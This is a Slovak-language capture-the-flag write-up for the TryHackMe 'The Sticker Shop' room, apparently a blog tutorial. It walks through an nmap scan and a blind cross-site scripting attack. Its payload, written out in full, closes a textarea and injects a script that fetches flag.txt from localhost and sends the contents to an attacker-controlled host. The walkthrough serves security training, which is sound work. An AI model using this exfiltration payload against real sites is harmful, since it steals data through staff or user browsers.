TryHackMe - The Sticker Shop (Obchod s nálepkami)
Jednoduchý návod ako na ❌ Cross-Site Scripting pre túto výzvu
Úvod
Dokážete zneuužiť obchod s nálepkami na získanie vlajky?
Vaša miestna predajňa nálepiek konečne vytvorila vlastnú webovú stránku. S vývojom webu nemajú príliš veľa skúseností a tak sa rozhodli všetko vyvíjať a hostovať na tom istom počítači, ktorý používajú na prehliadanie internetu a sledovanie spätnej väzby od zákazníkov. Šikovný ťah!
Nmap
Začnime skenovaním otvorených portov:
1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
| 256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_ 256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open http Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Keďže záložný HTTP port je otvorený, môžeme navštíviť webovú stránku cez 10.10.10.243:8080
.
Skúsme navštíviť 10.10.10.243:8080/flag.txt
Cross-Site Scripting
Skúsme nejaké to XSS
Spusťme si python server lokálne na našom stroji a pokúsime sa naň napojiť cez web pomocou funkcie fetch
skriptom:
1
python3 -m http.server 8000
A odošleme náš skript:
1
</textarea><script>fetch('http://10.11.75.122:8000');</script>
Dostali sme odpoveď, čo znamená, že máme zraniteľnosť Blind XSS.
Teraz sa môžeme pokúsiť vytvoriť tzv. payload, ktorý bude vyzerať takto:
1
</textarea><script>async function a() {const res1 = await fetch('http://127.0.0.1:8080/flag.txt');const b = await res1.text();const res2 = await fetch('http://10.11.75.122:8000?a=' + b);}a();</script>
Vysvetlenie:
- Načíta súbor
flag.txt
zhttp://127.0.0.1:8080/flag.txt
. - Prečíta jeho obsah ako text.
- Odošle ukradnutý obsah ako parameter dotazu (
a=<OUR_FLAG>
) na adresuhttp://10.11.75.122:8000
(Náš útočný stroj).
Vlajka
Po lokálnom spustení nášho python servera a vložení nášho “payloadu” získavame vlajku.